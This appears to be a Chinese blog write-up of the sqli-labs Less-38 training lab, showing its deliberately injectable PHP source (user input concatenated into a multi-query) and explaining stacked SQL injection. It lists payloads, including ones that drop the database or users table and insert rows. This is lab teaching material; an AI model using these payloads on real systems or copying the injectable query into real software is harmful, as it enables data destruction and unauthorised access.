当前位置:网站首页>SQL注入 Less38(堆叠注入)
SQL注入 Less38(堆叠注入)
2022-07-31 22:34:00 【华为云】
<?phpif(isset($_GET['id'])){$id=$_GET['id'];// connectivity//mysql connections for stacked query examples.$con1 = mysqli_connect($host,$dbuser,$dbpass,$dbname);// Check connectionif (mysqli_connect_errno($con1)){ echo "Failed to connect to MySQL: " . mysqli_connect_error();}else{ @mysqli_select_db($con1, $dbname) or die ( "Unable to connect to the database: $dbname");}$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";/* execute multi query */if (mysqli_multi_query($con1, $sql)){ /* store first result set */ if ($result = mysqli_store_result($con1)) { if($row = mysqli_fetch_row($result)) { echo '<font size = "5" color= "#00FF00">'; printf("Your Username is : %s", $row[1]); echo "<br>"; printf("Your Password is : %s", $row[2]); echo "<br>"; echo "</font>"; }// mysqli_free_result($result); } /* print divider */ if (mysqli_more_results($con1)) { //printf("-----------------\n"); } //while (mysqli_next_result($con1));}else { echo '<font size="5" color= "#FFFF00">'; print_r(mysqli_error($con1)); echo "</font>"; }/* close connection */mysqli_close($con1);} else { echo "Please input the ID as parameter with numeric value";}?>==mysqli_multi_query() 函数执行一个或多个针对数据库的查询。多个查询用分号进行分隔==
mysqli_store_result() 转移上一次查询返回的结果集
mysqli_fetch_row() 函数从结果集中取得一行,并作为枚举数组返回。
所以只显示第一个查询的结果,不显示后面的查询结果。
再看这一题,可以和Less1一样,用union注入,可以用来查询数据。
这里我用堆叠注入试了试几个payload?id=1';1=1?id=1';1=2?id=1';nihao?id=1';nihao'
所以的结果都是这样
所以页面只展示第一条查询的结果。后面的查询都无关。
所以我们这里用堆叠注入是查不出数据的,但是==插入数据,删除数据,更新数据,修改表名、数据库名什么的都是可以的==?id=1';drop database security;?id=1';drop table users;?id=1';insert into users(username,password) values('happy','coder');
边栏推荐
- AI automatic code writing plugin Copilot (co-pilot)
- 基于RT1052 Aworks nanopb string 类型固定长度使用方式(二十七)
- [QNX Hypervisor 2.2用户手册]9.14 set
- A solution to the server encountered an internal error that prevented it from fulfilling this request [easy to understand]
- I don't know what to do with sync issues
- TestCafeSummary
- C#中引用类型的变量做为参数在方法调用时加不加 ref 关键字的不同之处
- The difference between adding or not adding the ref keyword when a variable of reference type is used as a parameter in a method call in C#
- 22年8月推广大使额外奖励规则
- hboot与recovery、boot.img、system.img
猜你喜欢

Pytest初体验

程序进程和线程(线程的并发与并行)以及线程的基本创建和使用

focus on!Haitai Fangyuan joins the "Personal Information Protection Self-discipline Convention"

How to identify fake reptiles?
SQL27 View user details of different age groups

VOT2021比赛简介

网易云信圈组上线实时互动频道,「破冰」弱关系社交

Student management system on the first day: complete login PyQt5 + MySQL5.8 exit the operation logic
![[Intensive reading of the paper] iNeRF](/img/a7/910667911e1ce8996b9d22de63ea04.png)
[Intensive reading of the paper] iNeRF

TestCafeSummary
随机推荐
Components of TypeScript
HTC using official firmware as bottom bag made ROM brush card bag tutorial
【公开课预告】:超分辨率技术在视频画质增强领域的研究与应用
hboot and recovery, boot.img, system.img
Federated Learning: Multi-source Knowledge Graph Embedding in Federated Scenarios
VOT2021比赛简介
In Golang go-redis cluster mode, new connections are constantly created, and the problem of decreased efficiency is solved
Write a database document management tool based on WPF repeating the wheel (1)
不知道该怎么办的同步问题
IDA PRO中汇编结构体识别
grep command written test questions
@JsonFormat(pattern=“yyyy-MM-dd“)时间差问题
The article you worked so hard to write may not be your original
Learn about C# anonymous methods
Go1.18 upgrade function - Fuzz test from scratch in Go language
I don't know what to do with sync issues
【ACM】2022.7.31训练赛
利用反射实现一个管理对象信息的简单框架
Implementing a Simple Framework for Managing Object Information Using Reflection
什么是客户画像管理?